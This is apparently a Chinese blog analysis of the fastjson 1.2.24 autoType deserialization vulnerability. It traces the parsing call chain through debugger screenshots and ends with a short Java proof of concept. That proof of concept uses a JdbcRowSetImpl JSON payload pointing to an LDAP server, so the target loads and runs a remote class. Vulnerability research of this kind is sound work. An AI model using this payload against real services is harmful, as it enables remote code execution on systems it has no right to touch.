1. 简介
fastjson中的序列化是将java类转换为json字符串,而反序列化是将json字符串转换为java类。在对java类进行序列化时,为了能够记住对什么类型进行了序列化,以便在反序列化时,能够生成正确的java类型。在生成的json字符串中会用@type标识类型信息。因此反序列化的大部分漏洞都是通过@type标识可远程调用的类型,然后配置远程类执行相关操作,以便在类实例化时执行这些操作。
2. 版本1.2.24
2.1 漏洞说明
利用autoType技术,即使用@type可以指定远程调用类的类型。通过java类JdbcRowSetImpl加载可控服务器上的payload类,在目标机器上执行代码。此处的1.2.24版本,是指可利用该漏洞的最后一个版本,之前的版本同样适用该漏洞。
2.2 调试
图2.2.1 主程序
通过在fastjson.JSON.parseObject设置断点进行分步调试
图2.2.2 JSON.parseObject
进入JSON.class的parseObject函数
图2.2.3 JSON.parse
图2.2.4 JSON.parse2
DefaultJSONParser构造函数对输入的json字符串进行解析、标记和词法分析
图2.2.5 parse变量
变量parser是一个DefaultJSONParser对象,包含对输入json字符串的分析信息。
图2.2.6 DefaultJSONParser.parse
进入DefaultJSONParser.class的parse函数,这里的this指针,指向的是一个DefaultJSONParser对象,也就是前面的parser变量。
图2.2.7 DefaultJSONParser.parse1
图2.2.8 DefaultJSONParser.parse1
根据token取值12,跳转到对应的分支
图2.2.9 DefaultJSONParser.parse2
图2.2.10 DefaultJSONParser.parse2
在parseObject函数中对传入的json字符串进行逐个字符的解析处理,key的取值是@type,与JSON.DEFAULT_TYPE_KEY一致,调用TypeUtils.loadClass获取指定类是否在fastjson中有对应的预定义类。
图2.2.11 TypeUtils.loadClass
在mapping中没有预定义的类型相匹配
图2.2.12 mapping变量
可以看到mapping中保存的预定义类型
图2.2.13 TypeUtils.loadClass
生成当前环境的类加载器,并判断是否包含json字符串中输入的类型,如果包含则保存到mapping变量中,如果不包含则再从当前系统类Class中查找,再找不到就返回null。输入的JdbcRowSetImpl在系统环境中可以找到,所以直接返回。
图2.2.14 DefaultJSONParser.parseObject
返回到DefaultJSONParser.parseObject函数中,对找到的对应类型进行反序列化处理
图2.2.15 ParserConfig.getDeserializer1
调用ParserConfig类的getDeserializer方法
图2.2.16 ParserConfig.getDeserializer2
调用两个参数的getDeserializer方法,继续进行反序列化处理,调用createJavaBeanDeserializer得到反序列化对象,并返回DefaultJSONParser类
图2.2.17 ParserConfig.getDeserializer2
图2.2.18 ParserConfig.getDeserializer2
在DefaultJSONParser类中对得到的反序列化对象进行反序列化操作
图2.2.19 JavaBeanDeserializer.deserialze3
调用JavaBeanDeserializer的反序列化函数
图2.2.20 JavaBeanDeserializer.deserialze5
调用JavaBeanDeserializer的5参数反序列化函数
图2.2.21 JavaBeanDeserializer.deserialze5
运行到577行,调用parseField函数
图2.2.22 JavaBeanDeserializer.parseField
图2.2.23 JavaBeanDeserializer.parseField
调用FieldDeserializer的parseField函数
图2.2.24 DefaultFieldDeserializer.parseField
图2.2.25 DefaultFieldDeserializer.parseField
调用FieldDeserializer.setValue,object是传入的JdbcRowSetImpl类
图2.2.26 FieldDeserializer.setValue
在该函数中,调用Method.invoke,执行JdbcRowSetImpl的setAutoCommit方法,触发调用远程类,并实例化,从而执行代码。
图2.2.27 调用栈
图2.2.28 调用序列图
2.3 POC
package org.example; import com.alibaba.fastjson.JSON; public class Main { public static void main(String[] args) { String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.0.102:1389/ExTest\", \"autoCommit\":true}"; Object contentValue = JSON.parseObject(s); } }
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)